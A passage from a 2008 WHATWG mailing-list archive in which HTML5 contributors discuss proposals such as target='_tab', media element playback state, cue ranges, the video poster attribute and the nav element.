http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From jens at meiert.com  Wed Jun 11 03:58:05 2008
From: jens at meiert.com (Jens Meiert)
Date: Wed, 11 Jun 2008 12:58:05 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <Pine.LNX.4.62.0806110952280.6527@hixie.dreamhostps.com>
References: <C474A2D2.537D%adrian.sutton@ephox.com>
	<Pine.LNX.4.62.0806102212570.6527@hixie.dreamhostps.com>
	<9fbcac550806110205o78d3e1e5j73e259fb9e8284d5@mail.gmail.com>
	<Pine.LNX.4.62.0806110952280.6527@hixie.dreamhostps.com>
Message-ID: <9fbcac550806110358t51f57369if121cc89221926ff@mail.gmail.com>

> > What is interesting though is that authors can let open new windows/tabs
> > by HTML, CSS, /and/ scripting. I am not sure if this functionality, that
> > may ultimately impede user experience, can really be considered
> > structural, presentational, /and/ behavioral.
>
> I have no idea what you mean or how it affects the spec.

And you don't have to as it was just a side note. HTML 5 won't resolve
this anyway.

-- 
Jens Meiert
http://meiert.com/en/


From ian at hixie.ch  Wed Jun 11 04:04:16 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 11 Jun 2008 11:04:16 +0000 (UTC)
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <9fbcac550806110358t51f57369if121cc89221926ff@mail.gmail.com>
References: <C474A2D2.537D%adrian.sutton@ephox.com> 
	<Pine.LNX.4.62.0806102212570.6527@hixie.dreamhostps.com> 
	<9fbcac550806110205o78d3e1e5j73e259fb9e8284d5@mail.gmail.com> 
	<Pine.LNX.4.62.0806110952280.6527@hixie.dreamhostps.com>
	<9fbcac550806110358t51f57369if121cc89221926ff@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806111103440.6527@hixie.dreamhostps.com>

On Wed, 11 Jun 2008, Jens Meiert wrote:
> > >
> > > What is interesting though is that authors can let open new 
> > > windows/tabs by HTML, CSS, /and/ scripting. I am not sure if this 
> > > functionality, that may ultimately impede user experience, can 
> > > really be considered structural, presentational, /and/ behavioral.
> >
> > I have no idea what you mean or how it affects the spec.
> 
> And you don't have to as it was just a side note. HTML 5 won't resolve 
> this anyway.

Ah. Ok then. :-)

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From lachlan.hunt at lachy.id.au  Wed Jun 11 05:08:10 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Wed, 11 Jun 2008 14:08:10 +0200
Subject: [whatwg] [WF2] |min| and |max| number of selected |option|s
In-Reply-To: <865CD5B4-851A-4977-9859-A5F7CD9D1495@crissov.de>
References: <865CD5B4-851A-4977-9859-A5F7CD9D1495@crissov.de>
Message-ID: <484FC02A.8090804@lachy.id.au>

Christoph P?per wrote:
> Dear WHAT WG
> 
> When using
> 
>   <input type=checkbox>
> 
> or
> 
>   <select multiple>
> 
> one somtimes wants to limit the number of selected check boxes or 
> options.

Could you provide some examples of some sites that need to apply such 
limits, and show how people are currently achieving this?

Are there sites that use JavaScript to achieve this now, perhaps by 
listening for click events on the checkboxes, counting how many are 
checked and then preventing too many being checked.  Or are there sites 
that count how many are checked onsubmit to ensure there aren't too few 
or too many?

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From giecrilj at stegny.2a.pl  Wed Jun 11 11:46:53 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Wed, 11 Jun 2008 20:46:53 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <939052.3245.qm@web25905.mail.ukl.yahoo.com>
References: <939052.3245.qm@web25905.mail.ukl.yahoo.com>
Message-ID: <C6B0EF87CB2245CF9358DCB797651D0E@POCZTOWIEC>

You can use A.click instead of window.open.  I have ignored the keyboard
shortcut requirement because it is irrelevant.
I agree that modifying window.open to support tabs would be more consistent;
I just wanted to make you realize that neither is it strictly necessary nor
does it require any support from JS itself (your postulated modification of
the window.open interface method is perfectly suited for the current JS
language, I hope?).
HTH,
Chris

-----Original Message-----
From: Borek Bernard [mailto:borekbe at yahoo.co.uk] 
Sent: Wednesday, June 11, 2008 11:27 AM
To: Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
Subject: Re: [whatwg] Proposal: target="_tab"

Hi Kristof,

my knowledge of JS is limited but how would you handle this situation:
in your web app, you want to provide a keyboard shortcut for opening
current item into a new tab. You need to invoke this action from JavaScript
so setting CSS to some DOM element is not enough (AFAIK). I think
window.open() would need some new optional parameter or something similar to
support this.

---
Borek





From joao.eiras at gmail.com  Wed Jun 11 12:15:47 2008
From: joao.eiras at gmail.com (=?iso-8859-15?Q?Jo=E3o_Eiras?=)
Date: Wed, 11 Jun 2008 20:15:47 +0100
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <C6B0EF87CB2245CF9358DCB797651D0E@POCZTOWIEC>
References: <939052.3245.qm@web25905.mail.ukl.yahoo.com>
	<C6B0EF87CB2245CF9358DCB797651D0E@POCZTOWIEC>
Message-ID: <op.uclmghx0jz3wb9@mors.wag54gs>

As mentioned multiple times, that up to the user agent, or browser if you  
prefer, to control. Users with browsers with tabbed interface want tabs  
and that it. Leaving such usability in control of a webpage is bad. All  
browser that support tabs allow the user to choose if they want the  
browser to open new windows of just tabs.

Na , Kristof Zelechovski <giecrilj at stegny.2a.pl> escreveu:

> You can use A.click instead of window.open.  I have ignored the keyboard
> shortcut requirement because it is irrelevant.
> I agree that modifying window.open to support tabs would be more  
> consistent;
> I just wanted to make you realize that neither is it strictly necessary  
> nor
> does it require any support from JS itself (your postulated modification  
> of
> the window.open interface method is perfectly suited for the current JS
> language, I hope?).
> HTH,
> Chris
>
> -----Original Message-----
> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
> Sent: Wednesday, June 11, 2008 11:27 AM
> To: Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
> Subject: Re: [whatwg] Proposal: target="_tab"
>
> Hi Kristof,
>
> my knowledge of JS is limited but how would you handle this situation:
> in your web app, you want to provide a keyboard shortcut for opening
> current item into a new tab. You need to invoke this action from  
> JavaScript
> so setting CSS to some DOM element is not enough (AFAIK). I think
> window.open() would need some new optional parameter or something  
> similar to
> support this.
>
> ---
> Borek
>
>
>




From giecrilj at stegny.2a.pl  Wed Jun 11 12:42:13 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Wed, 11 Jun 2008 21:42:13 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <op.uclmghx0jz3wb9@mors.wag54gs>
References: <939052.3245.qm@web25905.mail.ukl.yahoo.com><C6B0EF87CB2245CF9358DCB797651D0E@POCZTOWIEC>
	<op.uclmghx0jz3wb9@mors.wag54gs>
Message-ID: <3BA5177293B94F689B06FAC8D70513B8@POCZTOWIEC>

For the record: I do not advocate the original recommendation; I only
hypothesized about what can be achieved with CSS instead.  I never
recommended actually doing it.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Joao Eiras
Sent: Wednesday, June 11, 2008 9:16 PM
To: Kristof Zelechovski; 'Borek Bernard'; 'Ian Hickson';
whatwg at lists.whatwg.org
Subject: Re: [whatwg] Proposal: target="_tab"

As mentioned multiple times, that up to the user agent, or browser if you  
prefer, to control. Users with browsers with tabbed interface want tabs  
and that it. Leaving such usability in control of a webpage is bad. All  
browser that support tabs allow the user to choose if they want the  
browser to open new windows of just tabs.

Na , Kristof Zelechovski <giecrilj at stegny.2a.pl> escreveu:

> You can use A.click instead of window.open.  I have ignored the keyboard
> shortcut requirement because it is irrelevant.
> I agree that modifying window.open to support tabs would be more  
> consistent;
> I just wanted to make you realize that neither is it strictly necessary  
> nor
> does it require any support from JS itself (your postulated modification  
> of
> the window.open interface method is perfectly suited for the current JS
> language, I hope?).
> HTH,
> Chris
>
> -----Original Message-----
> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
> Sent: Wednesday, June 11, 2008 11:27 AM
> To: Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
> Subject: Re: [whatwg] Proposal: target="_tab"
>
> Hi Kristof,
>
> my knowledge of JS is limited but how would you handle this situation:
> in your web app, you want to provide a keyboard shortcut for opening
> current item into a new tab. You need to invoke this action from  
> JavaScript
> so setting CSS to some DOM element is not enough (AFAIK). I think
> window.open() would need some new optional parameter or something  
> similar to
> support this.
>
> ---
> Borek
>
>
>




From robert at ocallahan.org  Wed Jun 11 14:59:30 2008
From: robert at ocallahan.org (Robert O'Callahan)
Date: Thu, 12 Jun 2008 09:59:30 +1200
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
Message-ID: <11e306600806111459u2dbe32e3v2743009c956f45a4@mail.gmail.com>

On Wed, Jun 11, 2008 at 10:34 PM, Ian Hickson <ian at hixie.ch> wrote:

> Why not just have the UA run in a high quality mode the first time it is
> painted on, but if the script tries to paint again within a certain amount
> of time, switch to high speed?
>

This makes sense.

However, there is still a potential use case for speed vs quality hints:
when the author wants to treat some content on the page as visually more
important than other content. For example, you might have a gallery page
with a bunch of unimportant bling around the actual image/canvas you care
about.

I'm unsure whether that's realistic enough to justify supporting hints.

Rob
-- 
"He was pierced for our transgressions, he was crushed for our iniquities;
the punishment that brought us peace was upon him, and by his wounds we are
healed. We all, like sheep, have gone astray, each of us has turned to his
own way; and the LORD has laid on him the iniquity of us all." [Isaiah
53:5-6]
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080612/15fefea1/attachment.htm>

From ian at hixie.ch  Wed Jun 11 17:36:15 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 00:36:15 +0000 (UTC)
Subject: [whatwg] Some media element details
In-Reply-To: <FA54794E-BA4F-491B-A817-2DEF9F44E05D@apple.com>
References: <8344104F-7ED2-46A5-A149-CBB60107E318@apple.com>
	<Pine.LNX.4.62.0805150155350.12911@hixie.dreamhostps.com>
	<FA54794E-BA4F-491B-A817-2DEF9F44E05D@apple.com>
Message-ID: <Pine.LNX.4.62.0806120028330.8559@hixie.dreamhostps.com>

On Fri, 16 May 2008, Antti Koivisto wrote:
> 
> [It would be nice to have a read-only attribute (called "playing" for 
> example) that would be true when the element is "actively playing". 
> Knowing if the playback is progressing is necessary for implementing 
> basic playback UIs with JS. It is clumsy and not very obvious that you 
> need to do "var playing = !video.paused && !video.ended && 
> video.readyState >= HTMLMediaElement.CAN_PLAY" to get this information.]
> 
> For example a simple playing state indicator:
> 
> function updatePlayState() {
> 	var playIndicator = document.getElementById("playIndicator");
> 	var playing = !video.paused && !video.ended && video.readyState >=
>          HTMLMediaElement.CAN_PLAY;
> 	playIndicator.className = playing ? "playing" : "stopped";
> }
> video.addEventListener("play", updatePlayState);
> video.addEventListener("pause", updatePlayState);
> video.addEventListener("ended", updatePlayState);
> video.addEventListener("waiting", updatePlayState);

I don't think I've ever seen a video player that shows this indicator. 
Could you show me an example of a video player UI that does this?


> Knowing whether media is playing or not is needed for other common UI elements
> too, for example to activate/deactivate time display timer,

I don't think the visibility of the time display timer in a typical video 
UI is actually directly correlated to the playback state. Again, could you 
show an example of this?


> to do play/pause button etc.

The state of a play/pause button is definitely not correlated to the 
playback state. It's correlated to the "paused" boolean.


> A direct way to get this information (along with an associated event) 
> would be good for API usability I think:
> 
> function updatePlayState() {
> 	var playIndicator = document.getElementById("playIndicator");
> 	playIndicator.className = video.activelyPlaying ? "playing" :
> "stopped";
> }
> video.addEventListener("playstatechanged", updatePlayState);
> 
> Of course it is sort of syntactical sugar...

It's syntactical sugar for something which, in practice, I don't think 
anyone would actually use.

If you know of any examples of video players that actually would (if 
reimplemented in HTML) make use of this, though, that would be a different 
matter.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Wed Jun 11 17:42:25 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 00:42:25 +0000 (UTC)
Subject: [whatwg] Some media element details
In-Reply-To: <57221E38FB4DD54C946CE654959A554D0599F7985B@GVW0436EXB.americas.hpqcorp.net>
References: <8344104F-7ED2-46A5-A149-CBB60107E318@apple.com>
	<Pine.LNX.4.62.0805150155350.12911@hixie.dreamhostps.com>
	<57221E38FB4DD54C946CE654959A554D0599EECEF8@GVW0436EXB.americas.hpqcorp.net>
	<Pine.LNX.4.62.0805162219030.12907@hixie.dreamhostps.com>
	<57221E38FB4DD54C946CE654959A554D0599F7985B@GVW0436EXB.americas.hpqcorp.net>
Message-ID: <Pine.LNX.4.62.0806120036430.8559@hixie.dreamhostps.com>

On Fri, 16 May 2008, James Justin Harrell wrote:
>
> The current HTMLMediaElement interface is inconsistent and is designed 
> in such a way that making changes to it will be extremely difficult.
> 
> The network state is given by the "networkState" attribute, and is one 
> of: EMPTY, LOADING, LOADED_METADATA, LOADED_FIRST_FRAME, LOADED
> 
> The ready state is given by the "readyState" attribute, and is one of: 
> DATA_UNAVAILABLE, CAN_SHOW_CURRENT_FRAME, CAN_PLAY, CAN_PLAY_THROUGH
> 
> Although adding states for either of these would not be fun, it could be 
> done. But the playback state is different.
> 
> The consistent and upgradeable design would be to have a "playbackState" 
> attribute that is one of: PAUSED, PLAYING
> 
> But because there are currently only two states, we instead have a 
> single boolean attribute. Boolean attributes are great when you're sure 
> there will always be only two states, but they're terrible if there's a 
> chance you'll want to add additional states.
> 
> It isn't difficult to imagine all kinds of additional playback states. 
> For example, what if there was great demand for forward-seeking and 
> backward-seeking states? (e.g. the states that are usually associated 
> with those >> and << buttons) How could those states be added?

This is already supported, and is independent of the pause state. (You 
could easily imagine a UI where you could pause while fast-forwarding.)


> The media error state is also inconsistent, and this time for no 
> apparent reason, although it would at least be easy to update. A more 
> consistent design would be to have an "errorState" attribute that is one 
> of: NO_ERROR, ABORTED, NETWORK_ERROR, DECODING_ERROR

We want to be able to include much more information, hence the use of an 
object for now.


> And why are the error state names prefixed with "MEDIA_ERR" when the 
> names for the other states are not prefixed? e.g. LOADING instead of 
> MEDIA_NET_LOADING.

The other state constants are prefixed (LOAD and CAN_ respectively) except 
for the zero state (which doesn't have a constant at all for errors).


On Fri, 16 May 2008, Maciej Stachowiak wrote:
> > 
> > But because there are currently only two states, we instead have a 
> > single boolean attribute. Boolean attributes are great when you're 
> > sure there will always be only two states, but they're terrible if 
> > there's a chance you'll want to add additional states.
> 
> I'm not sure adding states is all that safe. Any code that does a switch 
> on the state would now fall through to an untested code path.

Indeed, we're unlikely to ever add states, we're more likely to add 
orthogonal attributes.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Wed Jun 11 17:46:16 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 00:46:16 +0000 (UTC)
Subject: [whatwg] Some media element details
In-Reply-To: <57221E38FB4DD54C946CE654959A554D0599F7985B@GVW0436EXB.americas.hpqcorp.net>
References: <8344104F-7ED2-46A5-A149-CBB60107E318@apple.com>
	<Pine.LNX.4.62.0805150155350.12911@hixie.dreamhostps.com>
	<57221E38FB4DD54C946CE654959A554D0599EECEF8@GVW0436EXB.americas.hpqcorp.net>
	<Pine.LNX.4.62.0805162219030.12907@hixie.dreamhostps.com>
	<57221E38FB4DD54C946CE654959A554D0599F7985B@GVW0436EXB.americas.hpqcorp.net>
Message-ID: <Pine.LNX.4.62.0806120042350.8559@hixie.dreamhostps.com>

On Fri, 23 May 2008, Bonner, Matt (IPG) wrote:
> > > > > 
> > > > > Knowing if the playback is progressing is necessary for 
> > > > > implementing basic playback UIs with JS. It is clumsy and not 
> > > > > very obvious that you need to do "var playing = !video.paused && 
> > > > > !video.ended && video.readyState >= HTMLMediaElement.CAN_PLAY" 
> > > > > to get this information.
> > > >
> > > > What's the use case?
> > >
> > > Wouldn't you want something like that to know, for example, whether 
> > > to display a "play" or a "pause" button?
> > 
> > We have that -- the "paused" attribute. When it's true, show play, and 
> > when it's paused, show false. You don't want to show play when the 
> > reason you aren't playing is that you're buffered or seeking for 
> > instance. The client is trying to play. It can't.
> 
> Well I said "for example," so let's pick another example. Wouldn't you 
> need the state described to figure out whether enabling the 
> pause/fast-forward/rewind buttons makes sense?

Why would you disable the pause button when playing? Or when seeking? The 
pause button's disable state, as far as I can tell, need only be related 
to whether there is any media at all and whether the media playback is 
paused, not whether it is actively playing.

Similarly for fast-forward. You can fast-forward from the paused state and 
from the playing state. It doesn't matter whether the media is actually 
playing or not.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Wed Jun 11 18:00:05 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 01:00:05 +0000 (UTC)
Subject: [whatwg] ***DHSPAM***  re-thinking "cue ranges"
In-Reply-To: <p06240815c45b6fd246a1@[10.0.1.8]>
References: <p06240815c45b6fd246a1@[10.0.1.8]>
Message-ID: <Pine.LNX.4.62.0806120047010.8559@hixie.dreamhostps.com>

On Thu, 22 May 2008, Dave Singer wrote:
>
> WARNING:  this email is sent to both the WhatWG and W3C Public HTML 
> list, as it is a proposal.  Please be careful about where you 
> reply/follow-up to.  The editors may have a preference (and if they do, 
> I hope they express it).

My preference is to one list, either is fine. I've only cc'ed whatwg on 
this one, chosen merely because that's where most of the video discussion 
has been recently.


> In the current HTML5 draft cue ranges are available using a DOM API.
> 
> This way of doing ranges is less than ideal.
> 
> First of all, it is hard to use. The ranges must be added by script, 
> can't be supplied with the media, and the callbacks are awkward to 
> handle. The only way to identify the range a received callback applies 
> to is by creating not one but two separate functions for each range: one 
> for enter, one for exit. While creating functions on-demand is easy in 
> JavaScript it does fall under advanced techniques that most authors will 
> be unfamiliar with.

One of the features proposed for the next version of the video API is 
chapter markers and other embedded timed metadata, with corresponding 
callbacks for authors to hook into. Would that resolve the problem you 
mention?


> This kind of feature is also not available in all languages that might 
> provide access to the DOM API.

JavaScript is really the only concern from HTML5's point of view; if other 
languages become relevant, they should get specially-crafted APIs for 
them when it comes to this kind of issue.


> Secondly this mechanism is not very powerful. You can't do anything else 
> with the ranges besides receiving callbacks and removing them. You can't 
> modify them. They are not visible to scripts or CSS. You can't link to 
> them. You can't link out from them.

I'm not sure what it would really mean to link to or from a range, unless 
you turned the entire video into a link, in which case you can just wrap 
the <video> in an <a href=""> element for the duration of the range, using 
script.


> Thirdly, a script is somewhat strange place to define the ranges. A set 
> of ranges usually relates closely to some particular piece of media 
> content. The same set of ranges rarely makes much sense in the context 
> of some other content. It seems that ranges should be defined or 
> supplied along with the media content.

For in-band data, callbacks for chapter markers as mentioned earlier seem 
like the best solution.

For out-of-band data, if the ranges are just intended to trigger script, I 
don't think we gain much from providing a way to mark up ranges semi- 
declaratively as opposed to just having HTML-based media players define 
their own range markup and have them implement it using this API. It 
wouldn't be especially hard.


> Fourth, this kind of callback API is pretty strange creature in the HTML 
> specification. The only other callback APIs are things like setTimeout() 
> and the new SQL API which don't have associated elements. Events are the 
> callback mechanism for everything else.

Events use callbacks themselves, so it's not that unusual.

I don't really think events would be a good interface for this. 
Consistency is good, but if one can come up with a better API, it's better 
to use that than just be consistent for the sake of it.



> In SMIL the equivalent concept is the <area> element which is used like this:
> <video src="http://www.example.org/CoolStuff">
>            <area id="area1" begin="0s" end="5s"/>
>            <area id="area2" begin="5s" end="10s"/>
> </video>
> 
> This kind of approach has several advantages.
> * Ranges are defined as part of the document, in the context of a particular
> media stream.

I'm not sure why that is an advantage in the context of HTML.


> * This uses events, a more flexible and more appropriate callback mechanism.

I don't really see why the flexibility of events is useful here, and I 
don't see why it's more appropriate.


> * The callbacks have a JavaScript object associated with them, namely a DOM
> element, which carries information about the range.

That's useful, yes. Should we include some data with the callback? We 
could include the class name, the start time, and the end time. Having 
said that, it's easy to use currying here to hook callbacks that know what 
they're expecting.


> We would like to suggest a <timerange> element that can be used as a 
> child of the <video> and <audio> elements.

It's not clear to me that this is solving any problems worth solving.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Thu Jun 12 00:15:39 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 07:15:39 +0000 (UTC)
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <1213027282.6676.43.camel@nog.bredbandsbolaget.se>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
Message-ID: <Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>

On Tue, 3 Jun 2008, Philip J?genstedt wrote:
> 
> I'm a bit puzzled about how to interpret the poster attribute on 
> HTMLVideoElement:
> 
> "The poster attribute gives the address of an image file that the user 
> agent can show while no video data is available. The attribute, if 
> present, must contain a URI (or IRI)."
> 
> Is the intention that this image should be stretched to the size of the 
> video element, or that it should be centered in the frame?

Technically that's up to the UA. However, the spec says of <img> that "An 
img element represents an image" and says of <video> that "When no video 
data is available (the element's networkState attribute is either EMPTY, 
LOADING, or LOADED_METADATA), video elements represent either the image 
given by the poster attribute, or nothing".

So, to summarise, an <img> represents its src="", and a <video> represents 
its poster="". So use the same mechanism (stretching the image to fit the 
box dimensions) for both.


> If the width and height attributes are not given, should the video 
> element initially be given the size of the poster image, or should the 
> user agent wait until it has the dimensions of the video (thereby making 
> the poster useless)?

This isn't currently defined (even without a poster, as far as I can 
tell), but my intention would be to not make the poster affect the 
intrinsic dimensions, and for the default, in the absence of video data, 
is 300x150.

(Both of these questions will likely get answered to some extent in the 
rendering section, hopefully.)


On Tue, 3 Jun 2008, Tab Atkins Jr. wrote:
> 
> Just for similar-implementation-ideas, flvplayer simply aligns the 
> poster image to the upper-left of the object element, with no scaling at 
> all.  If width and height are not given, it simply doesn't display at 
> all.
> 
> Unless there's already some alternate intent, I suggest <video> scale to 
> the poster's size if no explicit size is given.

The problem with scaling to the poster's size is that it would make the 
veo resize twice e (300x150 -> poster -> video) instead of just once 
(300x150 blank, then poster -> video).


On Mon, 9 Jun 2008, Philip J?genstedt wrote:
> 
> Reading 
> http://lists.w3.org/Archives/Public/public-html/2007Oct/0108.html it is 
> clear that the intention of the poster attribute is to represent a still 
> image from the video. This should probably be made explicit in the spec 
> with something in the style of:
> 
> The poster image typically represents a still frame of video.

This will be covered by an introduction section in due course, I expect.


> User agents must (may?) take this into account by applying the same 
> rules as for rendering video (aspect ratio correction, scaling, 
> centering).

Should aspect ratio correction be done for poster images? What if 
different videos have different aspect ratios? It would be bad for the 
poster frame to be rendered at different ratios as the UA tries each video 
in turn.


> HTTP 4xx and 5xx errors (and equivalents in other protocols) must (may?) 
> cause the user agent to ignore the poster attribute.

Well what else are they going to do? HTTP already requires this as far as 
I can tell.


> This needs to be clear as there are two quite natural interpretations of 
> what kind of image "the user agent can show while no video data is 
> available". The first is an unscaled, centered "click to play" button, 
> while the second is a scaled, centered and aspect ratio corrected still 
> frame from the video.

I'm not sure a fake button (which wouldn't actually work anyway) is a 
natural interpretation of "poster frame". :-)

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From philipj at opera.com  Thu Jun 12 00:58:14 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Thu, 12 Jun 2008 09:58:14 +0200
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
Message-ID: <1213257494.6562.56.camel@nog.bredbandsbolaget.se>

On Thu, 2008-06-12 at 07:15 +0000, Ian Hickson wrote:
> So, to summarise, an <img> represents its src="", and a <video> represents 
> its poster="". So use the same mechanism (stretching the image to fit the 
> box dimensions) for both.

Fair enough.

> This isn't currently defined (even without a poster, as far as I can 
> tell), but my intention would be to not make the poster affect the 
> intrinsic dimensions, and for the default, in the absence of video data, 
> is 300x150.

> The problem with scaling to the poster's size is that it would make the 
> veo resize twice e (300x150 -> poster -> video) instead of just once 
> (300x150 blank, then poster -> video).

If poster is to <video> what src is to <img>, then surely the video
element should take the size of the poster image if no width/height is
given? This is certainly my preference, as width/height would otherwise
effectively be mandatory when poster is used, which would in turn
require the poster to be of the same size as the video unless one is to
be scaled. That the element may be resized twice is not a problem, at
least not implementation-wise. As some container formats allow changing
the video frame size mid-stream (notably chained Ogg streams, so called
sequential multiplexing) the UA could possibly resize the video element
an unlimited number of times, so handling that is necessary anyway. On
that note, perhaps an event to notify JavaScript UIs of such changes
would be useful/necessary. Perhaps reusing "resize" event would be the
best, other names could be "videochange" or "sizechange".

> Should aspect ratio correction be done for poster images? What if 
> different videos have different aspect ratios? It would be bad for
> the 
> poster frame to be rendered at different ratios as the UA tries each
> video 
> in turn.

Good point, assuming 1:1 pixel ratio for poster images makes more sense,
even if it means tools for automatically generating poster images will
have to perform aspect ratio correction.

> > HTTP 4xx and 5xx errors (and equivalents in other protocols) must
> (may?) 
> > cause the user agent to ignore the poster attribute.
> 
> Well what else are they going to do? HTTP already requires this as far
> as 
> I can tell.

It appears that Safari shows a little X symbol instead, but perhaps
specifying this behavior is not necessary. We will likely ignore the
poster attribute entirely instead.

> I'm not sure a fake button (which wouldn't actually work anyway) is a 
> natural interpretation of "poster frame". :-)

As long as it's mentioned somewhere there can be no misunderstanding.

-- 
Philip J?genstedt
Opera Software



From jorgebg at tagpoint.es  Thu Jun 12 01:21:49 2008
From: jorgebg at tagpoint.es (Jorge Bay Gondra)
Date: Thu, 12 Jun 2008 10:21:49 +0200
Subject: [whatwg] nav Element
Message-ID: <a980f6160806120121r537a8c5cv7432cf82d8cdfde5@mail.gmail.com>

Hi to all,
About the nav element:
I was trying to imaging how it would be to build a site, and I realized
that, in the case of site with 2 nav bars (typically 2 sidebars) there's not
a way to specify which is the "main" sidebar and which is accessory...
What do you think about specifying hierarchy for navs elements?

Regards to all!
Jorge

Note: In the nav sample (
http://www.whatwg.org/specs/web-apps/current-work/multipage/the-root.html#the-nav)
that includes several places with links, should be a good idea that the
header and footer list of links have to be represented in an unordered list
ul..., and not in a paragraph (!?), do you agree?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080612/c2ce57f7/attachment.htm>

From ian at hixie.ch  Thu Jun 12 01:36:19 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 08:36:19 +0000 (UTC)
Subject: [whatwg] HTMLMediaElement buffered/bufferedBytes
In-Reply-To: <1213093444.6664.35.camel@nog.bredbandsbolaget.se>
References: <1213093444.6664.35.camel@nog.bredbandsbolaget.se>
Message-ID: <Pine.LNX.4.62.0806120758290.8559@hixie.dreamhostps.com>

On Tue, 10 Jun 2008, Philip J?genstedt wrote:
> 
> The name of the buffered/bufferedBytes attributes imply that these 
> ranges are buffered on disk or in memory, so that they will not have to 
> be re-downloaded. However, the description reads "the ranges of the 
> media resource, if any, that the user agent has downloaded, at the time 
> the attribute is evaluated."
> 
> I would suggest that buffered/bufferedBytes be taken to mean exactly 
> what they sound like by changing the description to something like: 
> [s/downloaded/buffered/] [allow unbuffering]

Done.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From ian at hixie.ch  Thu Jun 12 02:18:46 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 09:18:46 +0000 (UTC)
Subject: [whatwg] Change request: rules for pixel ratio
